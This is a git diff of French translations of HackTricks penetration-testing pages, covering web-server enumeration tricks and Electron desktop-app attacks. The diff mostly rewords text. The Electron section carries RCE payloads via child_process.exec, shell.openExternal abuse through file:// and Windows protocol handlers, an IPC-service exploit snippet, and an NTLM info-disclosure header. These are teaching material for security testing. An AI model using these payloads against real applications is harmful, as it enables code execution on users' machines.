rĂ©pertoire est dĂ©couvert pendant le brute **502 Proxy Error** -Si une page **rĂ©pond** avec ce **code**, c'est probablement un **proxy mal configurĂ©**. **Si vous envoyez une requĂȘte HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** essaiera d'**accĂ©der** Ă  _**google.com**_ **et vous aurez trouvĂ© un** SSRF. +Si une page **rĂ©pond** avec ce **code**, c'est probablement un **proxy mal configurĂ©**. **Si vous envoyez une requĂȘte HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** tentera d'**accĂ©der** Ă  _**google.com**_ **et vous aurez trouvĂ© un** SSRF. **NTLM Authentication - Info disclosure** -Si le serveur en cours demandant l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **domain** **name**), vous pouvez provoquer une **information disclosure**.\ +Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\ **Envoyez** le **header** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et Ă  cause du fonctionnement de l'**NTLM authentication**, le serveur rĂ©pondra avec des infos internes (version IIS, version Windows...) dans le header "WWW-Authenticate".\ -Vous pouvez **automatiser** cela en utilisant le plugin nmap "_http-ntlm-info.nse_". +Vous pouvez **automatiser** cela avec le **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Il est possible de **mettre du contenu** Ă  l'intĂ©rieur d'une **Redirection**. Ce contenu **ne sera pas affichĂ© Ă  l'utilisateur** (le navigateur exĂ©cutera la redirection) mais quelque chose pourrait y ĂȘtre **cachĂ©**. +Il est possible de **mettre du contenu** Ă  l'intĂ©rieur d'une **Redirection**. Ce contenu **ne sera pas montrĂ© Ă  l'utilisateur** (le navigateur effectuera la redirection) mais quelque chose peut ĂȘtre **cachĂ©** dedans. ### Web Vulnerabilities Checking -Maintenant qu'une Ă©numĂ©ration complĂšte de l'application web a Ă©tĂ© effectuĂ©e, il est temps de vĂ©rifier un grand nombre de vulnĂ©rabilitĂ©s possibles. Vous pouvez trouver la checklist ici : +Maintenant qu'une Ă©numĂ©ration complĂšte de l'application web a Ă©tĂ© effectuĂ©e, il est temps de vĂ©rifier de nombreuses vulnĂ©rabilitĂ©s possibles. Vous pouvez trouver la checklist ici : {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Trouvez plus d'infos sur les vulnĂ©rabilitĂ©s web sur : +Trouvez plus d'infos sur les vuln web dans : - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -342,7 +343,7 @@ Trouvez plus d'infos sur les vulnĂ©rabilitĂ©s web sur : ### Monitor Pages for changes -Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de dĂ©tecter des modifications qui pourraient insĂ©rer des vulnĂ©rabilitĂ©s. +Vous pouvez utiliser des outils comme [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages et dĂ©tecter des modifications qui pourraient introduire des vulnĂ©rabilitĂ©s. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index c1a17fcd7..835d71c8c 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,4 +1,4 @@ -# Electron Desktop Apps +# Applications de bureau Electron {{#include ../../../banners/hacktricks-training.md}} @@ -6,21 +6,21 @@ Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mĂ©canismes de sĂ©curitĂ© des navigateurs modernes. -GĂ©nĂ©ralement, vous trouverez le code de l'application electron dans un fichier `.asar` ; pour obtenir le code, vous devez l'extraire : +GĂ©nĂ©ralement, vous pouvez trouver le code de l'application Electron Ă  l'intĂ©rieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire : ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Dans le code source d'une application Electron, Ă  l'intĂ©rieur de `packet.json`, vous pouvez trouver spĂ©cifiĂ© le fichier `main.js` oĂč les configurations de sĂ©curitĂ© sont dĂ©finies. +Dans le code source d'une application Electron, dans `packet.json`, vous pouvez trouver le fichier `main.js` oĂč sont dĂ©finies les configurations de sĂ©curitĂ©. ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron comprend 2 types de processus : +Electron possĂšde 2 types de processus : - Main Process (dispose d'un accĂšs complet Ă  NodeJS) -- Renderer Process (devrait avoir un accĂšs NodeJS restreint pour des raisons de sĂ©curitĂ©) +- Renderer Process (devrait avoir un accĂšs restreint Ă  NodeJS pour des raisons de sĂ©curitĂ©) ![](<../../../images/image (182).png>) @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Les paramĂštres du **processus de rendu** peuvent ĂȘtre **configurĂ©s** dans le **processus principal** Ă  l'intĂ©rieur du fichier main.js. Certaines configurations permettront d'**empĂȘcher l'application Electron d'obtenir une RCE** ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**. +Les paramĂštres du **processus de rendu** peuvent ĂȘtre **configurĂ©s** dans le **processus principal** du fichier main.js. Certaines configurations empĂȘcheront l'application Electron d'obtenir une RCE ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**. -L'application Electron **pourrait accĂ©der Ă  l'appareil** via Node apis, bien qu'il soit possible de le configurer pour l'en empĂȘcher : +L'application Electron **pourrait accĂ©der Ă  l'appareil** via les API Node bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher : -- **`nodeIntegration`** - est `off` par dĂ©faut. Si `on`, permet d'accĂ©der aux fonctionnalitĂ©s de Node depuis le processus de rendu. +- **`nodeIntegration`** - est `off` par dĂ©faut. Si activĂ©, permet d'accĂ©der aux fonctionnalitĂ©s de Node depuis le processus de rendu. - **`contextIsolation`** - est `on` par dĂ©faut. Si `off`, les processus principal et de rendu ne sont pas isolĂ©s. - **`preload`** - vide par dĂ©faut. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par dĂ©faut. Il restreindra les actions que NodeJS peut effectuer. - IntĂ©gration Node dans les Workers -- **`nodeIntegrationInSubframes`** - est `off` par dĂ©faut. -- Si **`nodeIntegration`** est **activĂ©**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web qui sont **chargĂ©es dans des iframes** au sein d'une application Electron. -- Si **`nodeIntegration`** est **dĂ©sactivĂ©**, alors les preloads se chargeront dans l'iframe +- **`nodeIntegrationInSubframes`**- est `off` par dĂ©faut. +- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans les pages web **chargĂ©es dans des iframes** au sein d'une application Electron. +- Si **`nodeIntegration`** est **disabled**, alors les preloads seront chargĂ©s dans l'iframe Exemple de configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Quelques **RCE payloads** provenant de [here](https://7as.es/electron/nodeIntegration_rce.txt): +Quelques **RCE payloads** depuis [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): require("child_process").exec("calc") @@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -Le script indiquĂ© dans ce paramĂštre est c**hargĂ© avant les autres scripts dans le renderer**, il a donc **un accĂšs illimitĂ© aux Node APIs**: +Le script indiquĂ© dans ce rĂ©glage est **chargĂ© avant les autres scripts dans le renderer**, il a donc **un accĂšs illimitĂ© aux Node APIs** : ```javascript new BrowserWindow{ webPreferences: { @@ -153,16 +153,16 @@ runCalc() ## RCE: XSS + contextIsolation -Le _**contextIsolation**_ introduit des **contextes sĂ©parĂ©s entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exĂ©cution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalitĂ© nĂ©cessaire pour Ă©liminer la possibilitĂ© de RCE. +Le _**contextIsolation**_ introduit les **contextes sĂ©parĂ©s entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exĂ©cution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalitĂ© nĂ©cessaire pour Ă©liminer la possibilitĂ© de RCE. Si les contextes ne sont pas isolĂ©s, un attaquant peut : 1. ExĂ©cuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes) -2. **Écraser la mĂ©thode intĂ©grĂ©e** qui est utilisĂ©e dans le preload ou le code interne d'Electron pour prendre le contrĂŽle de la fonction +2. **Écraser la mĂ©thode intĂ©grĂ©e** utilisĂ©e dans le preload ou le code interne d'Electron pour prendre le contrĂŽle 3. **DĂ©clencher** l'utilisation de la **fonction Ă©crasĂ©e** -4. RCE ? +4. RCE? -Il y a 2 endroits oĂč des mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code de preload ou dans le code interne d'Electron : +There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: {{#ref}} @@ -179,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### Contourner l'Ă©vĂ©nement de clic +### Bypass click event -S'il existe des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourriez ĂȘtre capable de les contourner en **cliquant avec le bouton du milieu** au lieu d'un clic gauche ordinaire. +S'il y a des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pourrez peut-ĂȘtre les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique ```javascript window.addEventListener('click', (e) => { ``` @@ -189,24 +189,24 @@ window.addEventListener('click', (e) => { Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Lors du dĂ©ploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramĂštres `nodeIntegration` et `contextIsolation` sont correctement configurĂ©s. Il est Ă©tabli que la client-side remote code execution (RCE) visant les preload scripts ou le code natif d'Electron depuis le main process est efficacement empĂȘchĂ©e lorsque ces paramĂštres sont en place. +Lors du dĂ©ploiement d'une application desktop Electron, s'assurer des bons paramĂštres pour `nodeIntegration` et `contextIsolation` est crucial. Il est Ă©tabli que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est efficacement empĂȘchĂ© lorsque ces paramĂštres sont en place. -Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, essentiels pour la sĂ©curitĂ© et le fonctionnement de l'application : +Lorsque l'utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des event listeners spĂ©cifiques sont dĂ©clenchĂ©s, qui sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application : ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Ces listeners sont **surchargĂ©s par l'application de bureau** pour implĂ©menter sa propre **logique mĂ©tier**. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction `shell.openExternal`. +Ces gestionnaires d'Ă©vĂ©nements sont **surchargĂ©s par l'application de bureau** pour implĂ©menter sa propre **logique mĂ©tier**. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction `shell.openExternal`. -**Voici un pseudocode simplifiĂ© :** +**Here is a simplified pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Les bonnes pratiques de sĂ©curitĂ© d'Electron JS dĂ©conseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener Ă  des RCE via divers protocoles. Les systĂšmes d'exploitation prennent en charge diffĂ©rents protocoles qui peuvent dĂ©clencher des RCE. Pour des exemples dĂ©taillĂ©s et des explications supplĂ©mentaires sur ce sujet, on peut se rĂ©fĂ©rer Ă  [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnĂ©rabilitĂ©. +Les bonnes pratiques de sĂ©curitĂ© Electron JS dĂ©conseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener Ă  du RCE via diffĂ©rents protocoles. Les systĂšmes d'exploitation prennent en charge divers protocoles susceptibles de dĂ©clencher du RCE. Pour des exemples dĂ©taillĂ©s et des explications supplĂ©mentaires sur ce sujet, on peut se rĂ©fĂ©rer Ă  [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnĂ©rabilitĂ©. -Sur macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`. +Dans macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`. **Exemples d'exploits de protocoles Windows incluent :** ```html @@ -230,15 +230,15 @@ window.open( ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -Cette vulnĂ©rabilitĂ© se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Cette vulnĂ©rabilitĂ© est dĂ©crite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -La **webviewTag** est une **fonctionnalitĂ© obsolĂšte** qui permet l'utilisation de **NodeJS** dans le **renderer process**, ce qui devrait ĂȘtre dĂ©sactivĂ© car cela permet de charger un script dans le preload context comme: +La **webviewTag** est une **fonctionnalitĂ© dĂ©prĂ©ciĂ©e** qui permet l'utilisation de **NodeJS** dans le **renderer process**, qui devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le preload context comme: ```xml ``` -Ainsi, un attaquant qui parvient Ă  charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**. +Ainsi, un attaquant qui parvient Ă  charger une page arbitraire pourrait utiliser cette balise pour **charger un script de prĂ©chargement arbitraire**. -Ce preload script a ensuite Ă©tĂ© abusĂ© pour appeler un **vulnĂ©rable IPC service (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE: +Ce script de prĂ©chargement a ensuite Ă©tĂ© abusĂ© pour appeler un **service IPC vulnĂ©rable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir une RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## Lecture de fichiers internes : XSS + contextIsolation -**La dĂ©sactivation de `contextIsolation` permet l'utilisation des balises ``**, similaires Ă  `